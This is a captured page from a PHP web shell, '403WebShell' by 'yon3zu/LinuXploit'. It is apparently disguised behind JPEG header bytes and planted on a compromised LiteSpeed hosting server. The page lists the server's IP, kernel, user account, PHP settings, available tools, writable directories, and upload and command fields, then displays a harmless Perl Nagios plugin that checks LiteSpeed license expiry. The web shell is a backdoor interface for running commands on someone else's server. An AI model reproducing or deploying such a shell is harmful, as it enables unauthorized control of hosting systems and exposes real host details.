����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.144.162.109
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib64/nagios/plugins/extra/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/nagios/plugins/extra/check_lsws_license
#!/usr/bin/env perl

use strict;
use warnings;
use Getopt::Long;

my $warn_days = 4;
my $min_cpu;
GetOptions(
    'warn-days=i' => \$warn_days,
    'min-cpu:i'   => \$min_cpu,
) or die("Usage --warn-days 10 <--min-cpu 2>?\n");

my $out = `/usr/local/lsws/bin/lshttpd -V &>/dev/stdout`;
$out =~ m/Leased license key \d+? will expire in (\d+) days!/;
my @ncpu
  = `ps -u nobody -o cmd | grep "litespeed (lshttpd" | sort -nk4 | uniq`;
my $ncpu           = @ncpu;
my $days_to_expire = $1;
my $exit_code      = 0;

$exit_code = 1
  if ( ( defined $min_cpu && $ncpu >= $min_cpu )
    || $days_to_expire <= $warn_days );

$exit_code ? print 'WARN - ' : print 'OK - ';
print "litespeed license for $ncpu-CPU expire on $days_to_expire days\n";
exit $exit_code;

Youez - 2016 - github.com/yon3zu
LinuXploit